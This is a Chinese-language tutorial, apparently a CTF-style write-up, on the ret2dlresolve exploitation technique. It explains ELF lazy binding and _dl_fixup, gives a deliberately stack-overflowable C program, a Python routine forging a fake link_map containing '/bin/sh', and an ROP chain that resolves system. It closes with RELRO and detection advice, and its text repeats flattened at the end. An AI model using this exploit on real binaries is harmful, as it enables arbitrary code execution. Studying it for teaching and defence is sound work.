ret2dlresolve利用技术详解与实战分析
字数 2256 2025-12-16 12:11:12

ret2dlresolve 利用技术详解与实战分析

一、技术背景与原理概述

ret2dlresolve 是一种基于 ELF 动态链接机制的漏洞利用技术,主要针对延迟绑定(Lazy Binding)过程进行攻击。该技术通过伪造动态链接相关的数据结构,控制 _dl_fixup 函数的执行流程,最终实现任意函数调用。

1.1 延迟绑定机制

在部分 RELRO(Relocation Read-Only)保护模式下,动态链接库的函数地址在首次调用时才进行解析和绑定。这个过程涉及以下关键组件:

  • .plt.sec 节:包含跳转到 GOT 表的指令
  • .got.plt 节:存储函数地址的全局偏移表
  • .plt 节:包含解析函数地址的桩代码
  • _dl_runtime_resolve_xsavec:运行时解析函数
  • _dl_fixup:实际完成地址解析的核心函数

二、正常延迟绑定流程分析

2.1 阶段一:PLT 跳转过程

首次调用函数时(如 gets),执行流程如下:

.plt.sec:0000000000401050 _gets proc near
.plt.sec:0000000000401050 endbr64
.plt.sec:0000000000401054 bnd jmp cs:off_404018  ; 跳转到 GOT 表

GOT 表初始指向 PLT 中的解析代码:

.got.plt:0000000000404018 off_404018 dq offset gets

实际跳转到 PLT 的解析部分:

.plt:0000000000401030 sub_401030 proc near
.plt:0000000000401030 endbr64
.plt:0000000000401034 push 0
.plt:0000000000401039 bnd jmp sub_401020

最终进入通用解析器:

.plt:0000000000401020 sub_401020 proc near
.plt:0000000000401020 push cs:qword_404008
.plt:0000000000401026 bnd jmp cs:qword_404010  ; 跳转到 _dl_runtime_resolve_xsavec

2.2 阶段二:动态解析过程

_dl_runtime_resolve_xsavec 函数准备参数后调用 _dl_fixup

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)

关键数据结构操作:

  1. 获取符号表地址:symtab = D_PTR(l, l_info[DT_SYMTAB])
  2. 获取字符串表地址:strtab = D_PTR(l, l_info[DT_STRTAB])
  3. 获取重定位表项:reloc = D_PTR(l, l_info[DT_JMPREL]) + reloc_offset
  4. 计算 GOT 地址:rel_addr = l->l_addr + reloc->r_offset

解析完成后,将真实函数地址写入 GOT 表,后续调用直接跳转到目标函数。

三、攻击原理与利用条件

3.1 核心攻击思路

通过栈溢出等手段控制程序执行流,伪造 link_map 结构和相关动态链接数据,使得 _dl_fixup 函数在解析过程中将目标函数(如 system)地址写入可控位置。

3.2 必须满足的条件

  1. link_map 可读DT_STRTABDT_SYMTABDT_JMPREL 指针可读
  2. 符号表验证绕过(*(sym+5)) & 0x03 != 0(符号可见性检查)
  3. 重定位类型正确(reloc->r_info) & 0xff == 7ELF_MACHINE_JMP_SLOT
  4. GOT 表可写rel_addr = l->addr + reloc->r_offset 有写权限
  5. 地址计算正确l->l_addr + sym->st_value 指向目标函数地址

3.3 关键技术公式

伪造的 system 地址计算:

value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system

四、实战利用详解

4.1 目标程序分析

示例漏洞程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void vuln(){
    char buf[0x60];
    read(0,buf,0x200);  // 栈溢出漏洞
}

void main(){
    init();
    close(2);
    vuln();
}

4.2 利用脚本解析

关键伪造函数 get_fake_link_map

def get_fake_link_map(fake_link_map_addr, l_addr, st_value):
    # 伪造动态段指针
    fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)
    fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)
    fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)
    
    # 伪造符号表和重定位表结构
    fake_Elf64_Dyn_SYM = p64(0) + p64(st_value - 0x8)
    fake_Elf64_Dyn_JMPREL = p64(0) + p64(fake_link_map_addr + 0x28)
    
    # 伪造重定位项
    r_offset = fake_link_map_addr - l_addr
    fake_Elf64_rela = p64(r_offset) + p64(0x7) + p64(0)
    
    # 构建完整的伪造 link_map
    fake_link_map = p64(l_addr & (2**64-1))          # l_addr
    fake_link_map += fake_Elf64_Dyn_SYM              # 符号表相关
    fake_link_map += fake_Elf64_Dyn_JMPREL           # 重定位表相关
    fake_link_map += fake_Elf64_rela                 # 重定位项
    fake_link_map += b"\x00" * 0x28                  # 填充对齐
    fake_link_map += fake_Elf64_Dyn_STR_addr         # STRTAB 指针
    fake_link_map += fake_Elf64_Dyn_SYM_addr         # SYMTAB 指针
    fake_link_map += b"/bin/sh\x00".ljust(0x80, b'\x00')  # 命令字符串
    fake_link_map += fake_Elf64_Dyn_JMPREL_addr      # JMPREL 指针
    
    return fake_link_map

4.3 内存布局分析

伪造的 link_map 结构布局:

偏移 内容 说明
0x00 l_addr 库基地址偏移
0x08 fake_Elf64_Dyn_SYM 伪造符号表项
0x18 fake_Elf64_Dyn_JMPREL 指向伪造的 JMPREL
0x28 fake_Elf64_rela 伪造的重定位项
0x40-0x68 填充数据 对齐和绕过检查
0x70 STRTAB 指针 指向字符串表
0x78 SYMTAB 指针 指向符号表
0x80-0x100 "/bin/sh" + 填充 命令字符串
0x100 JMPREL 指针 指向重定位表

4.4 ROP 链构建

plt0 = elf.get_section_by_name('.plt').header.sh_addr  # PLT0 地址
pop_rdi_ret = 0x00000000004012a3
pop_rsi_r15_ret = 0x00000000004012a1
ret = 0x000000000040101a
fake_link_map_addr = 0x404a00  # BSS 段地址

# 计算偏移
l_addr = libc.sym['system'] - libc.sym['read']
st_value = elf.got['read']

# 构建 ROP 链
payload = b'A' * 0x60  # 填充缓冲区
payload += p64(0)      # 保存的 rbp
payload += p64(pop_rdi_ret)
payload += p64(0)       # stdin 文件描述符
payload += p64(pop_rsi_r15_ret)
payload += p64(fake_link_map_addr)  # 伪造结构地址
payload += p64(0)       # r15
payload += p64(elf.plt['read'])    # 读取伪造数据
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr + 0x78)  # "/bin/sh" 地址
payload += p64(plt0)               # 触发解析
payload += p64(0)                  # reloc_arg

五、调试技巧与注意事项

5.1 调试关键点

  1. GOT 表状态监控:观察首次调用前后 GOT 表内容变化
  2. link_map 验证:确保伪造的 link_map 能通过基本检查
  3. 寄存器状态:特别注意 RDI、RSI 在 _dl_fixup 调用前的值

5.2 常见问题解决

  1. 段错误:检查伪造的数据结构对齐和指针有效性
  2. 解析失败:验证重定位类型和符号可见性设置
  3. 权限问题:确保目标 GOT 表地址有写权限

六、防护与检测

6.1 防护措施

  1. Full RELRO:在程序启动时完成所有重定位,消除延迟绑定
  2. 栈保护:启用 Canary、PIE 等保护机制
  3. 数据执行保护:防止伪造数据被执行

6.2 检测方法

  1. 动态分析:监控异常的 _dl_fixup 调用
  2. 静态检测:识别可疑的 ROP 链和数据结构伪造
  3. 行为监控:检测异常的动态链接库操作

七、总结

ret2dlresolve 技术利用了动态链接机制的复杂性,通过精细控制数据结构实现代码执行。理解这一技术需要深入掌握 ELF 格式、动态链接过程和内存布局知识。在实际利用中,需要仔细构造伪造数据并通过调试验证每个步骤的正确性。

该技术虽然复杂,但具有很好的通用性,在部分 RELRO 保护下能有效绕过 ASLR 等防护机制,是高级二进制漏洞利用的重要技术之一。

ret2dlresolve 利用技术详解与实战分析 一、技术背景与原理概述 ret2dlresolve 是一种基于 ELF 动态链接机制的漏洞利用技术,主要针对延迟绑定(Lazy Binding)过程进行攻击。该技术通过伪造动态链接相关的数据结构,控制 _dl_fixup 函数的执行流程,最终实现任意函数调用。 1.1 延迟绑定机制 在部分 RELRO(Relocation Read-Only)保护模式下,动态链接库的函数地址在首次调用时才进行解析和绑定。这个过程涉及以下关键组件: .plt.sec 节 :包含跳转到 GOT 表的指令 .got.plt 节 :存储函数地址的全局偏移表 .plt 节 :包含解析函数地址的桩代码 _dl_runtime_resolve_xsavec :运行时解析函数 _dl_fixup :实际完成地址解析的核心函数 二、正常延迟绑定流程分析 2.1 阶段一:PLT 跳转过程 首次调用函数时(如 gets ),执行流程如下: GOT 表初始指向 PLT 中的解析代码: 实际跳转到 PLT 的解析部分: 最终进入通用解析器: 2.2 阶段二:动态解析过程 _dl_runtime_resolve_xsavec 函数准备参数后调用 _dl_fixup : 关键数据结构操作: 获取符号表地址: symtab = D_PTR(l, l_info[DT_SYMTAB]) 获取字符串表地址: strtab = D_PTR(l, l_info[DT_STRTAB]) 获取重定位表项: reloc = D_PTR(l, l_info[DT_JMPREL]) + reloc_offset 计算 GOT 地址: rel_addr = l->l_addr + reloc->r_offset 解析完成后,将真实函数地址写入 GOT 表,后续调用直接跳转到目标函数。 三、攻击原理与利用条件 3.1 核心攻击思路 通过栈溢出等手段控制程序执行流,伪造 link_map 结构和相关动态链接数据,使得 _dl_fixup 函数在解析过程中将目标函数(如 system )地址写入可控位置。 3.2 必须满足的条件 link_ map 可读 : DT_STRTAB 、 DT_SYMTAB 、 DT_JMPREL 指针可读 符号表验证绕过 : (*(sym+5)) & 0x03 != 0 (符号可见性检查) 重定位类型正确 : (reloc->r_info) & 0xff == 7 ( ELF_MACHINE_JMP_SLOT ) GOT 表可写 : rel_addr = l->addr + reloc->r_offset 有写权限 地址计算正确 : l->l_addr + sym->st_value 指向目标函数地址 3.3 关键技术公式 伪造的 system 地址计算: 四、实战利用详解 4.1 目标程序分析 示例漏洞程序: 4.2 利用脚本解析 关键伪造函数 get_fake_link_map : 4.3 内存布局分析 伪造的 link_ map 结构布局: | 偏移 | 内容 | 说明 | |------|------|------| | 0x00 | l_ addr | 库基地址偏移 | | 0x08 | fake_ Elf64_ Dyn_ SYM | 伪造符号表项 | | 0x18 | fake_ Elf64_ Dyn_ JMPREL | 指向伪造的 JMPREL | | 0x28 | fake_ Elf64_ rela | 伪造的重定位项 | | 0x40-0x68 | 填充数据 | 对齐和绕过检查 | | 0x70 | STRTAB 指针 | 指向字符串表 | | 0x78 | SYMTAB 指针 | 指向符号表 | | 0x80-0x100 | "/bin/sh" + 填充 | 命令字符串 | | 0x100 | JMPREL 指针 | 指向重定位表 | 4.4 ROP 链构建 五、调试技巧与注意事项 5.1 调试关键点 GOT 表状态监控 :观察首次调用前后 GOT 表内容变化 link_ map 验证 :确保伪造的 link_ map 能通过基本检查 寄存器状态 :特别注意 RDI、RSI 在 _dl_fixup 调用前的值 5.2 常见问题解决 段错误 :检查伪造的数据结构对齐和指针有效性 解析失败 :验证重定位类型和符号可见性设置 权限问题 :确保目标 GOT 表地址有写权限 六、防护与检测 6.1 防护措施 Full RELRO :在程序启动时完成所有重定位,消除延迟绑定 栈保护 :启用 Canary、PIE 等保护机制 数据执行保护 :防止伪造数据被执行 6.2 检测方法 动态分析 :监控异常的 _dl_fixup 调用 静态检测 :识别可疑的 ROP 链和数据结构伪造 行为监控 :检测异常的动态链接库操作 七、总结 ret2dlresolve 技术利用了动态链接机制的复杂性,通过精细控制数据结构实现代码执行。理解这一技术需要深入掌握 ELF 格式、动态链接过程和内存布局知识。在实际利用中,需要仔细构造伪造数据并通过调试验证每个步骤的正确性。 该技术虽然复杂,但具有很好的通用性,在部分 RELRO 保护下能有效绕过 ASLR 等防护机制,是高级二进制漏洞利用的重要技术之一。